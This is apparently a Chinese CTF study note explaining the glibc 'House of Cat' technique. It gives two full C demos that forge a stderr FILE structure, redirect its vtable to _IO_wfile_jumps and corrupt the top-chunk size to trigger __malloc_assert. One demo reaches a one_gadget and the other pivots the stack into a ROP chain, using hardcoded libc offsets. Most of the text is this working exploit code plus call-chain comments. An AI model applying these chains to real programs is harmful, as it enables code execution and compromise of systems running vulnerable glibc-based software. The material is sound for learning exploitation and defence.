HouseofApple
的威力我已经领教过了,但是在程序没有从main
返回或是正常的exit()
的时候,就得利用Houseofcat
的IO
链了。
Houseofcat
的触发是通过__malloc_assert
而不是像HouseofApple
那样的通过exit()
和main返回
,一般来说适用范围比HouseofApple
更广。
接下来就是我写的两个版本的demo
。注释总结了所有触发条件及注意事项.
其实两个版本几乎一样,orw
的版本只是在ogg
的版本上面多了一个magic_gadget
来栈迁移和布置ROP
链的步骤。
typedef struct _io_file
{ // hex(start at)
int _flags; // 0x0
char *_IO_read_ptr; // 0x8
char *_IO_read_end; // 0x10
char *_IO_read_base; // 0x18
char *_IO_write_base; // 0x20
char *_IO_write_ptr; // 0x28
char *_IO_write_end; // 0x30
char *_IO_buf_base; // 0x38
char *_IO_buf_end; // 0x40
char *_IO_save_base; // 0x48
char *_IO_backup_base; // 0x50
char *_IO_save_end; // 0x58
struct _IO_marker *_markers; // 0x60
struct _IO_FILE *_chain; // 0x68
int _fileno; // 0x70
int _flags2; // 0x74
long _old_offset; // 0x78
unsigned short _cur_column; // 0x80
signed char _vtable_offset; // 0x82
char _shortbuf[1]; // 0x83
void *_lock; // 0x88
long _offset; // 0x90
struct _IO_codecvt *_codecvt; // 0x98
struct _IO_wide_data *_wide_data; // 0xa0
struct _IO_FILE *_freeres_list; // 0xa8
void *_freeres_buf; // 0xb0
unsigned long __pad5; // 0xb8
int _mode; // 0xc0
char _unused2[20]; // 0xc4
} _io_file;
typedef struct _io_file_plus
{
_io_file file; // 0x0
const struct _IO_jump_t *vtable; // 0xd8
} _io_file_plus;
typedef struct _io_wide_data
{
int _flags;
char *_IO_read_ptr;
char *_IO_read_end;
char *_IO_read_base;
char *_IO_write_base;
char *_IO_write_ptr;
char *_IO_write_end;
char *_IO_buf_base;
char *_IO_buf_end;
char *_IO_save_base;
char *_IO_backup_base;
char *_IO_save_end;
} _io_wide_data;
int main()
{
long *p1 = malloc(0x500);
long* p3 = malloc(0x300);
char *p2 = malloc(0x20);
free(p1);
long libc_base = p1[0] - 0x219ce0;
long *stderr_adr = libc_base + 0x21a860;
long *_io_wfile_jumps = libc_base + 0x2160c0;
_io_file_plus *fake_stderr = malloc(0x300);
*stderr_adr = fake_stderr;
// stderr地址上写入伪造结构体的地址
fake_stderr->vtable = ((long) _io_wfile_jumps + 0x10);
// 伪造结构体的_vtable写上_IO_wfile_jumps
fake_stderr->file._wide_data = malloc(0x1f0);
// 伪造结构体的_wide_data上写入可控堆块地址
_io_wide_data *wide_data = fake_stderr->file._wide_data;
wide_data->_IO_write_ptr = 0xff;
wide_data->_IO_write_base = 0x10;
// fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
((long*)wide_data)[0x1c] = p3;
p3[3] = libc_base + 0x50d60;
// fp->_wide_data->vtable[0x1c]改为onegadget地址或magic_gadget
strcpy(&(p2[0x28]), "\x01");
strcpy(&(p2[0x29]), "\x01");
strcpy(&(p2[0x2a]), "\x00");
// 将topchunk的size改为不合理的值以触发__malloc_assert
malloc(0x1000);
// 触发__malloc_assert
return 0;
}
// __malloc_assert->__fxprintf->__vfxprintf->locked_vfxprintf->__vfprintf_internal->_IO_file_xsputn
// _IO_file_xsputn通过fp->vtable触发
// 原来的_IO_file_jumps->_IO_file_xsputn的偏移为0x38
// 而我们要去的_IO_wfile_seekoff在_IO_wfile_jumps中偏移为0x48
// 所以在原来_IO_file_jumps的地方写上_IO_wfile_jumps就可以让指向_IO_file_xsputn的偏移指向_IO_wfile_seekoff
// _IO_wfile_seekoff->_IO_switch_to_wget_mode->_IO_WOVERFLOW
// _IO_WOVERFLOW通过fp->_wide_data->_wide_vtable[0x1c]触发
// 所以将fp->_wide_data->_wide_vtable[0x1c]改为onegadget地址或magic_gadget
// 并且通过错误的topchunk值触发__malloc_assert即可调用onegadget地址或magic_gadget
- 1.
- 2.
- 3.
- 4.
- 5.
- 6.
- 7.
- 8.
- 9.
- 10.
- 11.
- 12.
- 13.
- 14.
- 15.
- 16.
- 17.
- 18.
- 19.
- 20.
- 21.
- 22.
- 23.
- 24.
- 25.
- 26.
- 27.
- 28.
- 29.
- 30.
- 31.
- 32.
- 33.
- 34.
- 35.
- 36.
- 37.
- 38.
- 39.
- 40.
- 41.
- 42.
- 43.
- 44.
- 45.
- 46.
- 47.
- 48.
- 49.
- 50.
- 51.
- 52.
- 53.
- 54.
- 55.
- 56.
- 57.
- 58.
- 59.
- 60.
- 61.
- 62.
- 63.
- 64.
- 65.
- 66.
- 67.
- 68.
- 69.
- 70.
- 71.
- 72.
- 73.
- 74.
- 75.
- 76.
- 77.
- 78.
- 79.
- 80.
- 81.
- 82.
- 83.
- 84.
- 85.
- 86.
- 87.
- 88.
- 89.
- 90.
- 91.
- 92.
- 93.
- 94.
- 95.
- 96.
- 97.
- 98.
- 99.
- 100.
- 101.
- 102.
- 103.
typedef struct _io_file
{ // hex(start at)
int _flags; // 0x0
char *_IO_read_ptr; // 0x8
char *_IO_read_end; // 0x10
char *_IO_read_base; // 0x18
char *_IO_write_base; // 0x20
char *_IO_write_ptr; // 0x28
char *_IO_write_end; // 0x30
char *_IO_buf_base; // 0x38
char *_IO_buf_end; // 0x40
char *_IO_save_base; // 0x48
char *_IO_backup_base; // 0x50
char *_IO_save_end; // 0x58
struct _IO_marker *_markers; // 0x60
struct _IO_FILE *_chain; // 0x68
int _fileno; // 0x70
int _flags2; // 0x74
long _old_offset; // 0x78
unsigned short _cur_column; // 0x80
signed char _vtable_offset; // 0x82
char _shortbuf[1]; // 0x83
void *_lock; // 0x88
long _offset; // 0x90
struct _IO_codecvt *_codecvt; // 0x98
struct _IO_wide_data *_wide_data; // 0xa0
struct _IO_FILE *_freeres_list; // 0xa8
void *_freeres_buf; // 0xb0
unsigned long __pad5; // 0xb8
int _mode; // 0xc0
char _unused2[20]; // 0xc4
} _io_file;
typedef struct _io_file_plus
{
_io_file file; // 0x0
const struct _IO_jump_t *vtable; // 0xd8
} _io_file_plus;
typedef struct _io_wide_data
{
int _flags;
char *_IO_read_ptr;
char *_IO_read_end;
char *_IO_read_base;
char *_IO_write_base;
char *_IO_write_ptr;
char *_IO_write_end;
char *_IO_buf_base;
char *_IO_buf_end;
char *_IO_save_base;
char *_IO_backup_base;
char *_IO_save_end;
} _io_wide_data;
int main()
{
long *p1 = malloc(0x500);
long* p3 = malloc(0x300);
char *p2 = malloc(0x20);
free(p1);
long libc_base = p1[0] - 0x219ce0;
long *stderr_adr = libc_base + 0x21a860;
long *_io_wfile_jumps = libc_base + 0x2160c0;
_io_file_plus *fake_stderr = malloc(0x300);
*stderr_adr = fake_stderr;
// stderr地址上写入伪造结构体的地址
long* _io_save_base = malloc(0x100);
fake_stderr->file._IO_save_base = _io_save_base;
// rdi+0x48上写入可控堆地址(rbp)
long* rax = malloc(0x30);
_io_save_base[0x3] = rax;
// rbp+0x18写入可控堆地址(rax)
rax[0x5] = libc_base + 0x562EC;
// 最后,rax+0x28写入orw的起点(leave,ret)
fake_stderr->vtable = ((long) _io_wfile_jumps + 0x10);
// 伪造结构体的_vtable写上_IO_wfile_jumps
fake_stderr->file._wide_data = malloc(0x1f0);
// 伪造结构体的_wide_data上写入可控堆块地址
_io_wide_data *wide_data = fake_stderr->file._wide_data;
wide_data->_IO_write_ptr = 0xff;
wide_data->_IO_write_base = 0x10;
// fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
((long*)wide_data)[0x1c] = p3;
p3[3] = libc_base + 0x16a1e0 + 26;
// fp->_wide_data->vtable[0x1c]改为magic_gadget
strcpy(&(p2[0x28 + 0x200]), "\x01");
strcpy(&(p2[0x29 + 0x200]), "\x01");
strcpy(&(p2[0x2a + 0x200]), "\x00");
// 将topchunk的size改为不合理的值以触发__malloc_assert
long pop_rax = libc_base + 0x45eb0;
long pop_rdi = libc_base + 0x2a3e5;
long pop_rsi = libc_base + 0x2be51;
long pop_rdx_rbx = libc_base + 0x90529;
long ret = libc_base + 0x45eb1;
long syscall = libc_base + 0x1149CA;
long str = libc_base + 0x167A2;
_io_save_base[0x1] = pop_rdx_rbx;
_io_save_base[0x2] = 0x100;
// _io_save_base[0x3]不能改动,所以用一个pop的gadget把0x3垫掉就行
_io_save_base[0x4] = pop_rsi;
_io_save_base[0x5] = str;
_io_save_base[0x6] = pop_rax;
_io_save_base[0x7] = 0x0;
_io_save_base[0x8] = pop_rdi;
_io_save_base[0x9] = 1;
_io_save_base[0xa] = syscall;
_io_save_base[0xb] = rax;
malloc(0x1000);
// 触发__malloc_assert
return 0;
}
// __malloc_assert->__fxprintf->__vfxprintf->locked_vfxprintf->__vfprintf_internal->_IO_file_xsputn
// _IO_file_xsputn通过fp->vtable触发
// 原来的_IO_file_jumps->_IO_file_xsputn的偏移为0x38
// 而我们要去的_IO_wfile_seekoff在_IO_wfile_jumps中偏移为0x48
// 所以在原来_IO_file_jumps的地方写上_IO_wfile_jumps就可以让指向_IO_file_xsputn的偏移指向_IO_wfile_seekoff
// _IO_wfile_seekoff->_IO_switch_to_wget_mode->_IO_WOVERFLOW
// _IO_WOVERFLOW通过fp->_wide_data->_wide_vtable[0x1c]触发
// 所以将fp->_wide_data->_wide_vtable[0x1c]改为onegadget地址或magic_gadget
// 并且通过错误的topchunk值触发__malloc_assert即可调用onegadget地址或magic_gadget
- 1.
- 2.
- 3.
- 4.
- 5.
- 6.
- 7.
- 8.
- 9.
- 10.
- 11.
- 12.
- 13.
- 14.
- 15.
- 16.
- 17.
- 18.
- 19.
- 20.
- 21.
- 22.
- 23.
- 24.
- 25.
- 26.
- 27.
- 28.
- 29.
- 30.
- 31.
- 32.
- 33.
- 34.
- 35.
- 36.
- 37.
- 38.
- 39.
- 40.
- 41.
- 42.
- 43.
- 44.
- 45.
- 46.
- 47.
- 48.
- 49.
- 50.
- 51.
- 52.
- 53.
- 54.
- 55.
- 56.
- 57.
- 58.
- 59.
- 60.
- 61.
- 62.
- 63.
- 64.
- 65.
- 66.
- 67.
- 68.
- 69.
- 70.
- 71.
- 72.
- 73.
- 74.
- 75.
- 76.
- 77.
- 78.
- 79.
- 80.
- 81.
- 82.
- 83.
- 84.
- 85.
- 86.
- 87.
- 88.
- 89.
- 90.
- 91.
- 92.
- 93.
- 94.
- 95.
- 96.
- 97.
- 98.
- 99.
- 100.
- 101.
- 102.
- 103.
- 104.
- 105.
- 106.
- 107.
- 108.
- 109.
- 110.
- 111.
- 112.
- 113.
- 114.
- 115.
- 116.
- 117.
- 118.
- 119.
- 120.
- 121.
- 122.
- 123.
- 124.
- 125.
- 126.
- 127.
- 128.
- 129.
- 130.
- 131.
- 132.
- 133.
- 134.
- 135.
放在这里主要防止哪天又忘记了方便查找.
下面是做题过程中的一些关键步骤。
Houseofcat
本体劫持程序流发生的位置。这里是将vtable
改成_IO_wfile_jumps
的情况
__malloc_assert->__fxprintf->__vfxprintf->locked_vfxprintf->__vfprintf_internal->_IO_file_xsputn
_IO_file_xsputn通过fp->vtable触发
原来的_IO_file_jumps->_IO_file_xsputn的偏移为0x38
而我们要去的_IO_wfile_seekoff在_IO_wfile_jumps中偏移为0x48
所以在原来_IO_file_jumps的地方写上_IO_wfile_jumps就可以让指向_IO_file_xsputn的偏移指向_IO_wfile_seekoff
- 1.
- 2.
- 3.
- 4.
- 5.
_IO_file_jumps
和_IO_wfile_jumps
中偏移差别。
这里是正常情况的调用,可以看到是调用的_IO_file_xputn
2.35下svcudp_reply
中的magic_gadget
最后两张是magic_gadet
之后通过leave;ret
来打栈迁移